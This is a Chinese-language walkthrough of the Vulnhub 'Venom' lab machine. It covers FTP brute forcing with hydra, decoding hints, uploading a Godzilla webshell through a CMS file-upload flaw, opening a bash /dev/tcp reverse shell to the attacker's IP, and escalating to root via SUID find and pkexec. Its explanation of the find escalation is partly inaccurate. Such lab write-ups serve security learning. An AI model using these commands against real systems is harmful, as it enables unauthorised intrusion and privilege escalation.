返回

[Vulnhub]Venom

靶机信息

靶机IP:192.168.13.141
kali:192.168.13.130

收集信息

Nmap 扫描

得到几个开放的端口,存在 ftp 服务,以及 80,和 443 的 web 服务。还有 7070,8084 两个关闭的端口。

image-20240329155717850

Web 收集

访问网站 80 端口,得到 Apache Ubuntu 的默认页面,尝试使用gobuster寻找目录。

image-20240329155904913

执行

 gobuster dir -u http://192.168.13.141 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 512 -q

没有扫出来任何东西。

尝试查看网站源码,发现类似于密文的东西。

image-20240329160115853

尝试使用hashid,得到的结果大概率是 MD5。尝试使用 hashcat 爆破,无果,直接找了个在线 md5 解密,直接出了,你说这你受得了么。

image-20240329160245519

使用enum4linux对靶机进行扫描,发现没有任何有用的信息,尝试直接访问 ftp 服务。

ftp 192.168.13.141
hostinger

发现用户名存在,尝试获取密码。

使用cewl生成字典文件并使用hydra进行爆破。

 cewl http://192.168.13.141/ -w pass.txt
 hydra -l hostinger -P pass.txt -t 5 -vV -o ve.txt -e ns 192.168.13.141 ftp

这里最邪门的还是这个hydra的参数问题,我一开始尝试什么都没加,然后跑不出密码,抄了人家的加上了中间那几个参数,突然就行了,组合出了一个我完全没写的密码,真邪门。

image-20240329161551455

渗透

FTP 渗透

如上,我们成功连接上了FTP服务器,然后找找有用的东西。

image-20240329164315329

如上,发现一个hint.txt文件,下载之后打开发现

image-20240329164419037

emm,很像是 base 加密后的产物,尝试 base 解码。

是一个三层 base64 加密,解密后得到了一串字符

image-20240329164651705

standard vigenere cipher

然后把另一半也解密一下。

得到https://cryptii.com/pipes/vigenere-cipher没错,他告诉我们应该将hostinger扔进标准维吉尼亚密码并且贴心的给了我们一个解密的网址。

哦,我会错意了,他的意思是把hostinger作为 key,然后去把底下给的 password 那串密文L7f9l8@J#p%Ue+Q1234给破解了。

最后得到密码E7r9t8@Q#h%Hy+M1234,然后按照提示修改 host 文件,使靶机 IP 对应venom.box

image-20240329165515994

Web 渗透

然后再次访问网址 http://venom.box

image-20240329165610056

image-20240329170051671

找到一个 CMS,基于这个 CMS 建立的网站,上网查找这个 CMS 有没有什么漏洞。

找到这个 CMS 在4.2.1版本之前存在一个任意文件上传漏洞。

使用nikto扫描到了后台界面的目录

image-20240329170445729

尝试访问出现了登录界面

image-20240329170506535

想起刚才破解的 dora 以及他的密码,尝试使用这个账户登录。

image-20240329170548520

成功以管理员身份进入后台,想起刚才找到的文件上传漏洞,尝试寻找上传点。

image-20240329170720992

找到博客上传界面,可以携带附件,疑似上传点。

以前一直使用的是 msf,这次想尝试一下哥斯拉。

突然发现这个界面只允许链接图片这种上传方式,在网上找到了新的注入点,upload目录。

image-20240329171052861

使用哥斯拉生成一个 webshell,

image-20240329180026585

并保存至本地,然后重命名后缀为.phar上传。

然后使用哥斯拉连接。

image-20240329180208618

切记 url 处需要填写的是域名而不是 ip,不然访问不到这个目录。

image-20240329180249564

进入之后进行内网渗透。

内网渗透

寻找用户信息

因为我们现在的用户是网站目录的用户www-data,他的权限是很低的,所以我们需要去寻找别的用户。

通过 backup 目录的.htaccess文件发现了一段信息,

allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

哥斯拉这个 shell 看着实在伤眼睛,我还是反弹一个吧

bash -c "bash -i >& /dev/tcp/192.168.13.130/7777 0>&1"

image-20240329181053823

拿到不稳定的 shell,然后进行稳定 shell 的惯用步骤。

python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-256color
stty rows 24 columns 125
Ctrl + z
stty raw -echo;fg
两下回车

image-20240329181509895

此时的 shell 就是一个可交互且不担心随时可能挂掉的 shell 了。

image-20240329181711861

切换成之前拿到信息的hostinger用户。思考刚才得到的那串字符有啥用

询问 AI 得知 linux 系统一般会将 UID 的 0-999 留给系统账户,具体来说

1.0-999 范围内的 UID 通常被系统保留,用于系统账户、伪用户等。比如:

  • 0 为 root 超级用户
  • 1-99 为已保留或伪用户,如 daemon、bin、sys 等
  • 100-999 留作将来的系统账户使用

2.1000 及以上为普通用户账户的 UID 范围,其中:

  • 1000-60000 为大多数 Linux 发行版默认分配的 UID 范围
  • 60001-65535 为某些较老的 Unix 系统曾使用的 UID 范围

3.不同 Linux 发行版默认的起始 UID 略有差异,如:

  • RHEL/CentOS/Fedora从1000开始
  • Debian 从 1000 开始
  • Ubuntu 从 1000 开始
  • openSUSE 从 1000 开始
  • Arch Linux 默认从 1000 开始,也可配置如 999 之类的值

4.UID 值是唯一的,不能在同一系统中重复分配。

5.可以通过修改/etc/login.defs 或编辑工具更改默认 UID 范围。

所以寻找普通用户就在 1000-60000 之间寻找即可。

回到刚才的/etc/passwd文件,可以看到存在

nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
hostinger:x:1002:1002:,,,:/home/hostinger:/bin/bash

所以我没办法,只能猜一下那段字符串估计是nathan的密码。

尝试切用户过去su nathan

image-20240329182613379

可以,很顺利。

提权

然后查看这个用户的权限,执行sudo -l

image-20240329182702325

可以看到它拥有以 root 权限执行除了 su 的权限,这就足矣。

使用 find 命令查询具有 root 权限的文件。执行

find / -perm -4000 -type f 2>/dev/null
#find / 这部分告诉find命令从根目录/开始查找。
#-perm -4000 这个选项指定我们要查找的文件的权限掩码为4000。在Linux的权限模型中,权限掩码4000表示SUID(Set User ID)权限位被设置。
#-type f 这个选项限制只查找文件类型(f)为普通文件。
#2>/dev/null 这部分将标准错误重定向到/dev/null黑洞,从而隐藏任何错误输出。

很明显,这是一个寻找SUID提权的命令。

image-20240329183214742

我们看到了很多熟悉的身影,findpkexec

然后去查询这些文件SUID提权的方式

find 提权

find 程序在某些旧版本中存在着设计缺陷,当使用 -executable 参数时,它会以查找路径的所有者权限执行 -exec 选项后指定的命令。因此,如果在系统中存在 SUID find,并且目标路径被普通用户拥有,就可以利用这个缺陷获取高权限 shell。

touch /tmp/privsc  
chmod 777 /tmp/privsc
/usr/bin/find /tmp -executable -exec /bin/sh \;
# 获取 root shell

image-20240329184702294

如上,使用find的 SUID 提权成功。

tips:

-exec 选项用于在 find 找到匹配的文件后执行特定的命令或操作。该选项需要指定一个命令参数及一个结束标记,通常是 \;+

pkexec 提权

pkexec 是 Linux 下的一个 SUID 程序,用于通过 polkit 框架提权执行命令。但在较早版本中,pkexec 存在缺陷,可以直接绕过认证获取 root shell。

sudo pkexec /bin/sh
# 获取 root shell

image-20240329184914044

Licensed By 猫南北
最后更新于 2024 年 12 月 30 日 18:23